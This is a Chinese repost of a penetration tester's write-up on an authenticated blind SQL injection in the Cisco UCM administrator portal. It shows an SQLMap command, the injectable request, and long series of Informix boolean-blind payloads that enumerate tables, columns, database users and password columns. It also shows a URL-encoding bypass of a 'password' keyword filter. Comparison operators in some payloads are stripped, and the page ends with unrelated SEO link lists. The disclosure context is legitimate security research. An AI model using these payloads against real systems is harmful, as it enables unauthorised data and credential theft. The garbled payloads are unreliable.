当前位置: 首页 > news >正文

酒泉市网站建设_网站建设公司_无障碍设计_seo优化

京东商城网上购物下载,适合seo软件,wordpress成品网站免费,做网站流量的方法介绍一个客户正在寻找升级他们的思科 UCM 软件#xff0c;并希望保证他们的实现是安全配置的。在评估期间#xff0c;我们在 Cisco UCM 管理员门户中发现了一个经过身份验证的 SQL 注入问题。在大多数情况下#xff0c;可以使用 SQLMap 或其他工具来自动发现问题。由于我们是… 介绍一个客户正在寻找升级他们的思科 UCM 软件并希望保证他们的实现是安全配置的。在评估期间我们在 Cisco UCM 管理员门户中发现了一个经过身份验证的 SQL 注入问题。在大多数情况下可以使用 SQLMap 或其他工具来自动发现问题。由于我们是在客户端的开发环境中进行测试的所以我们被允许对 Cisco UCM 执行更积极的攻击。我最初使用的 SQLMap 命令如下rootkali~# sqlmap --level5 --risk3 -r request.txt请求文件包含以下内容GET /ccmadmin/userGroupFindList.do?searchLimVal3searchLimVal4whereClause1*searchLimVal1searchLimVal2searchLimVal7searchLimVal8searchLimVal5searchLimVal6rowsPerPageControl/ccmadmin/userGroupFindList.do?lookuptruecolCnt4searchLimVal0lookuptruerowsPerPage50searchLimVal9pageNumber1recCnt37multipletrue HTTP/1.1Host: Cookies: JSESSIONID; com.cisco.ccm.admin.servlets.RequestToken.REQUEST_TOKEN_KEY; JSESSIONIDSSOAccept: text/htmlConnection: close在让 SQLMap 完成它所做的事情之后我们发现了一个数据库: Informix SQL。此外注入方法为布尔型盲注。从那里SQLMap 通常可用于枚举底层数据库并可能获得对密码和敏感数据的访问权。然而在使用 SQLMap 执行这些任务之后遇到了一些问题· SQLMap 能够枚举当前表的名称但无法枚举其他数据库名称和其他表名称· SQLMap 能够枚举当前的 SQL 用户名但是也报告了基础数据库的超过1000个用户并且不能枚举其他999个用户· SQLMap 无法枚举“ applicationuser”表中与任何用户密码相关的任何信息以下各章节将用来说明如何查明上述每个问题的根本原因以及如何克服这些问题。Informix 速成课程在继续之前我们对于学习 Informix SQL 进行了一些研究。以下是关于“systables”表的一个简单学习:· Informix 在表“ systables”中保存所有表信息的记录· “systables”中的不同列表示不同的信息例如列“tabname”表示特定表的名称列“tabid”表示特定表的 ID 号· 其他信息包括“ncols”列(表中的列数)和列“nrows”是表中的行数作为一个例子让我们假设一个表被命名为“yaytableyay”。要检索“tabid”号可以使用以下查询SELECT tabid FROM systables WHERE tabname ‘yaytableyay’#Returned 54进一步说如果我们想查找“yaytableyay”表中的行数我们可以进行以下查询SELECT nrows FROM systables WHERE tabid 54#Returned 15以下是关于“syscolumns”表的一个简单学习· Informix 保存每个表中所有列信息的记录· “sysolumns”中的不同列表示不同的信息例如列“colname”表示特定列的名称列“tabid”表示该列分配给哪个表· 其他信息可以包括“colno”列它是系统按顺序从左到右分配的值举个例子如果我们想找出表“yaytableyay”中第一列的名称可以执行下面的查询语句SELECT colname FROM syscolumns WHERE tabid 54 AND colno 1#returned yaycolumnnameyay此外每个表都有一个名为“rowid”的隐藏列。此值分配给表中的每一行但不会在删除行时删除。例如下面的查询不能返回任何数据原因是我们查询的是之前删除的行SELECT * FROM yaytableyay WHERE rowid 1337#Returned 0 results还有一种可能是某一行数据甚至从未存在过。这仍将迫使数据库返回相同的结果也就是“0” 就像行被删除一样。因此当使用“rowid”作为“ WHERE”子句时无法区分已删除的行和从未存在的行。枚举其他表名解决 SQLMap 问题(或者任何 web 应用程序测试工具)的最佳方法之一是通过代理工具来解决流量问题。在这种情况下通过 BurpSuite 代理 SQLMap 有助于我们解决问题现在的问题是每当 SQLMap 被指示枚举其他表名和数据库名时服务器总是会响应以下错误之一:· ERROR: A subquery has returned not exactly one row. (错误: 子查询返回的行不完全是一行)· ERROR: NVL cannot be used in a query( 错误: “ NVL”不能在查询中使用)· ERROR: RTRIM cannot be used in a query (错误: “ RTRIM”不能在查询中使用)· ERROR: LIMIT cannot be used in a query (错误: “ LIMIT”不能在查询中使用)· ERROR: LENGTH cannot be used in a query (错误: 查询中不能使用“ LENGTH”)第一个错误“不只一行”是 Google 搜索到的可以链接到 Informix 的文档。其他错误似乎是思科 UCM 本身内置的一般性限制。考虑到这些错误消息似乎需要一个自定义脚本或工具来进一步利用这个问题。为了列举每个表我建立了一个工作流程· 计算出数据库中存储了多少个有效表· 按字母枚举每个表名的字母· 枚举每个表中有多少行和列为了确定有效表的数量我们使用了“tabid”值。具体来说我们基于以下有效载荷执行了一些“大于”和“小于”操作11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 1如果每个表名的“tabid”值大于1上述有效载荷将迫使服务器返回每个表名的首字母的 ASCII 值。这当然会返回多个结果因为肯定有不止一个表迫使服务器响应另一个“Result is more than 1 column”错误。然而这是意料之中的因为某个东西返回的意思是某个东西存在。为了进一步说明这一点以下面的有效载荷为例11 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid 100) 1现在我们正在寻找 tabid 值大于100的表。如果由于大于100的表格值不存在而导致表不存在那么服务器将不会响应任何数据。基于这个行为我们可以列举底层数据库中有多少个表11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 1#returned more than 1 row error11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 100) 1 #returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 50) 1 #returned more than 1 row error11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 75) 1 #returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 65) 1 #returned more than 1 row error11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 74) 1 #returned more than 1 row error11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 75) 1 #returned no data我们现在已经确定当前数据库中的 tabid 数量为75个。接下来需要建立表名。使用 ASCII 值函数仍然是一种选择因此我们使用类似的逻辑来确定表的数量。下面的有效载荷将确定第一个表名的首字母的 ASCII 值是否大于6411 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 64从这个行为我们可以列举出第一个字母是什么11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 64#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 96#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 112#returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 104#returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 100#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 102#returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 101#returned some data基于上述结果第一个表的第一个字母必须是101的 ASCII 值也就是“ e”。移到表名中的下一个字符我们把tabname from 1 for 1替换为tabname from 2 for 1由此我们可以列举出第二个字母是什么11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 64#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 96#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 112#returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 104#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 108#returned some data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 110#returned no data11 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid 1) 109#returned some data基于上述结果第一个表的第一个字母的 ASCII 值必须是110也就是‘ m’。为了便于这篇博客文章的使用上面例子中列举的表是“empire”。可以使用此方法枚举表的其余名称。在枚举表名并将其与 tabid 值关联之后我们可以开始构建一些列的信息。下面的查询可用于帮助确定表“empire”中有多少列11 AND (SELECT ncols FROM systables WHERE tabname ‘empire’) 1#returned no data11 AND (SELECT ncols FROM systables WHERE tabname ‘empire’) 2#returned no data11 AND (SELECT ncols FROM systables WHERE tabname ‘empire’) 3#returned no data11 AND (SELECT ncols FROM systables WHERE tabname ‘empire’) 4#returned some data11 AND (SELECT ncols FROM systables WHERE tabname ‘empire’) 5#returned no data下面的查询可用于帮助找出“empire”表中第一列的名称11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 64#returned some data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 96#returned no data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 80#returned no data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 72#returned some data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 76#returned no data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 74#returned some data11 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid 1 AND colno 1) 73#returned some data枚举其他 SQL 用户当 SQLMap 试图枚举其他 SQL 用户时使用了表“sysusers”。类似于本文中的“枚举其他表”部分当 SQLMap 试图枚举其他用户时服务器将继续以错误响应。在上一节中我们介绍了如何将“tabid”列用作可用于枚举表的顺序数字系统。在查找“sysusers”表是如何组织的之后发现没有可行的顺序数字系统。根据 IBM 的官方文档下面的列构成了“sysusers”表:· username· usertype· priority· password· defrole此时我们将隐藏列“rowid”用作 SQL 查询的“WHERE”部分的一部分。下面的示例查询可用于枚举第一个用户名的第一个字母的 ASCII 值其中 rowid 为111 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 1) 1#returned data在枚举第一个用户名之后我们可以继续枚举基于“rowid”值的其他用户名11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 2) 1#returned data11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 3) 1#returned data11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 4) 1#returned data11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5) 1#returned data当“rowid”值达到5000时就变得有趣了11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5000) 1#returned no data11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5001) 1#returned no data11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5002) 1#returned some data为了帮助解决这个问题当我们找到一个有效的用户时可以使用“systables”表中的“nrows”列来帮助建立。 这是因为“nrows”值是根据表中非空行的数量确定的。下面的查询可以帮助确定“sysusers”表中的行数11 AND (SELECT nrows FROM systables WHERE tabname ‘sysusers’) 1#returned some data使用这个查询我们可以确定“sysusers”表中包含数据的行数为100011 AND (SELECT nrows FROM systables WHERE tabname ‘sysusers’) 1000#returned data考虑到这一点我们可以开始使用‘rowid’和‘ncols’枚举‘sysusers’表中的所有用户名。通过递增 rowid我们可以遍历查询每次查询返回数据时我们可以将 ncols 的值减少111 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5000) 1#returned no data, ncols value is at 44411 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5001) 1#returned no data, ncols value is at 44411 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 5002) 1#returned data, ncols value is at 443...11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 7850) 1#returned data, ncols value is at 211 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 7851) 1#returned data, ncols value is at 1有了一组已知的非空行的 rowid我们现在可以开始枚举用户名而不必无限期地运行任何自定义脚本11 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid 7851) 1#returned data枚举用户密码如前所述“sysusers”表包含一个名为“password”的行。我们还发现Cisco UCM 软件利用表“applicationuser”存储与 Cisco UCM 软件有关的用户该软件还包含一个“password”列。使用前面讨论过的技术应该可以列举出整个“app_users”表... 也就是说直到我们执行到下面的查询11 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid 500) 1#returned error “Security Exception”这是一个奇怪的错误信息而且谷歌搜不到这种错误的解决办法。经过一些测试我们确定服务器只有在用户试图枚举任何表中的“password”列时才会响该错误。基于这个行为我们假设这是应用程序级别的黑名单关键字情况。我们的猜测是对的我所要做的就是对“password” 进行 URL 编码以解决这个问题11 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid 500) 1#returned data自定义脚本不能使用 SQL Map 来利用这个漏洞因此我们采取创建两个脚本来充分利用这个漏洞。因为这个漏洞需要对 Cisco UCM 管理控制台的认证访问所以这两个脚本都要求用户提交他们的会话 cookie。· sql_injection_enumerate_tables.py -枚举数据库中每个表的名称并将它们存储在名为“cisco_tables.txt”的文件中。· sql_injection_extract_table.py - 读取“cisco_tables”中的条目并枚举每个表条目的内容这两个脚本都不会针对触发安全警报的特定单词进行自动编码比如“password”。建议通过 BurpSuite 或其他代理工具代理脚本对可能触发安全警报的单词进行URL 编码。供应商补丁本文中描述的技术用于枚举思科 UCM 版本11.5.1.14900-11的整个数据库。思科被告知这个问题后补丁目前正在开发中。双方商定2019年11月20日为联合披露日期。链接及参考资料· F-secure 对影响思科 UCM 某些安装的这个问题的官方建议可以在这里找到:https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection· 为充分利用这个漏洞而开发的脚本可以在这里找到:https://github.com/FSecureLABS/Cisco-UCM-SQLi-Scripts本文参考自https://labs.f-secure.com/blog/uncommon-sql-database-alert-informix-sql-injection/
http://www.ihoyoo.com/news/73510.html

相关文章:

  • 制作网站的最新软件是什么网站推广方法是什么
  • 网站运营 网站建设西安机械加工网站建设
  • 男女做视频观看网站网站开发文档doc
  • 外贸营销网站怎么建站卖磁铁的网站怎么做
  • 做网站 贴吧各网站的风格及特点
  • 坂田公司做网站计算机网站开发岗位有哪些
  • 查询网站备案名php做网站时间代码
  • 利用对象储存做网站wordpress发不出邮件
  • 域名网站建设方案书装修设计费收费标准2022
  • 怎么让百度收录你的网站影视网站
  • 多多进宝怎么做自己网站网站的目录结构
  • 做网站需要学习什么知识手机163邮箱登录
  • 承德网站建设网站建设 租赁
  • 电子商务网站建设体会与收获网站开发成本核算
  • 企业自助建站程序宁波企业建站程序
  • 湖南中耀建设集团有限公司网站天津 建设执业资格注册中心网站
  • 推广你公司网站上海遨游网站建设
  • asp古典网站源码晋宁网站建设
  • 网站的维护怎么做网络初始网站
  • 广州市城乡住房建设厅网站wordpress多板块
  • 营销型网站设计注意网站开发软件手机版
  • aspx网站服务器失去响应谁有网站备案号
  • 除了做视频网站还能做什么网站国外网站设计 网址
  • 异常网站服务器失去响应百度网站地图模板
  • 加工厂网站建设论文门窗网站源码
  • 网站空间多少钱一年泊头市建设局网站
  • 做网站遵义现在那个网站做视频最赚钱吗
  • 网站开发 营业执照新东方教育培训机构官网
  • 网站运营管理报告总结手机网站WordPress主题
  • 红谷滩园林建设集团有限公司 网站wordpress搞笑主题